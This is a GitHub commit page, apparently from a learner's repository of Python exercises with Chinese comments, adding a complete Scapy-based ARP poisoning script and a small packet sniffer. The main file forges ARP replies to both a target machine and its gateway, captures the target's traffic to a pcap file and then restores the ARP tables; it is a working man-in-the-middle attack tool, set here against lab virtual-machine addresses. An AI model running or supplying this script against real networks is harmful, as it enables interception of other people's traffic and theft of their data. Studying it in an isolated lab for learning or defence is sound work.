Skip to content

Commit b80f619

Browse files
committed
finished chapter 4
1 parent 2f94671 commit b80f619

File tree

162 files changed

+26492
-75
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

162 files changed

+26492
-75
lines changed

我手敲的代码(中文注释)/.idea/workspace.xml

Lines changed: 75 additions & 75 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Binary file not shown.
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
#-*- coding:utf8 -*-
2+
3+
from scapy.all import *
4+
import os
5+
import sys
6+
import threading
7+
import signal
8+
9+
interface = "eth0" #要嗅探的网卡
10+
target_ip = "10.10.10.140" #目标ip,这里测试的是另外一台虚拟机winxp
11+
gateway_ip = "10.10.10.2" #网关ip,这里是虚拟机的网关
12+
packet_count = 1000
13+
14+
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
15+
16+
# 以下代码调用send函数的方式稍有不同
17+
print "[*] Restoring target..."
18+
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
19+
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
20+
21+
# 发出退出信号到主线程
22+
os.kill(os.getpid(), signal.SIGINT)
23+
24+
def get_mac(ip_address):
25+
26+
# srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
27+
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
28+
# 返回从响应数据中获取的MAC地址
29+
for s,r in responses:
30+
return r[Ether].src
31+
return None
32+
33+
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
34+
35+
# 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
36+
# 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
37+
poison_target = ARP()
38+
poison_target.op = 2 # 响应报文
39+
poison_target.psrc = gateway_ip # 模拟是网关发出的, 其实是我们的机器发出的
40+
poison_target.pdst = target_ip # 目的地是目标机器
41+
poison_target.hwdst = target_mac # 目标的物理地址是目标机器的mac
42+
43+
# 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
44+
poison_gateway = ARP()
45+
poison_gateway.op = 2 # 响应报文
46+
poison_gateway.psrc = target_ip # 模拟是目标机器发出的,
47+
poison_gateway.pdst = gateway_ip # 目的地是网关
48+
poison_gateway.hwdst = gateway_mac # 目标的物理地址是网关的mac
49+
50+
print "[*] Beginning the ARP poison. [CTRL_C to stop]"
51+
52+
while True:
53+
try:
54+
# 开始发送ARP欺骗包(投毒)
55+
send(poison_target)
56+
send(poison_gateway)
57+
# 停两秒
58+
time.sleep(2)
59+
except KeyboardInterrupt:
60+
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
61+
62+
print "[*] ARP poison attack finished"
63+
return
64+
65+
66+
67+
68+
69+
# 设置嗅探的网卡
70+
conf.iface = interface
71+
72+
# 关闭输出
73+
conf.verb = 0
74+
75+
print "[*] Setting up %s" % interface
76+
77+
# 获取网关mac
78+
gateway_mac = get_mac(gateway_ip)
79+
80+
if gateway_mac is None:
81+
print "[!!!] Failed to get gateway MAC. Exiting"
82+
sys.exit(0)
83+
else:
84+
print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)
85+
86+
# 获取目标(被攻击的机器)mac
87+
target_mac = get_mac(target_ip)
88+
89+
if target_mac is None:
90+
print "[!!!] Failed to get target MAC. Exiting"
91+
sys.exit(0)
92+
else:
93+
print "[*] Target %s is at %s" % (target_ip, target_mac)
94+
95+
# 启动ARP投毒(欺骗)线程
96+
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
97+
poison_thread.start()
98+
99+
try:
100+
print "[*] Starting sniffer for %d packets" % packet_count
101+
102+
bpf_filter = "ip host %s " % target_ip # 过滤器
103+
packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)
104+
105+
# 将捕获到的数据包输出到文件
106+
wrpcap("arper.pcap", packets)
107+
# 还原网络配置
108+
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
109+
110+
except KeyboardInterrupt:
111+
# 还原网络配置
112+
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
113+
sys.exit(0)
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#-*- coding:utf8 -*-
2+
3+
from scapy.all import *
4+
5+
# 定义数据包回调函数
6+
def packet_callback(packet):
7+
print packet.show()
8+
9+
# 开启嗅探器
10+
sniff(prn=packet_callback, count=1)

0 commit comments

Comments
 (0)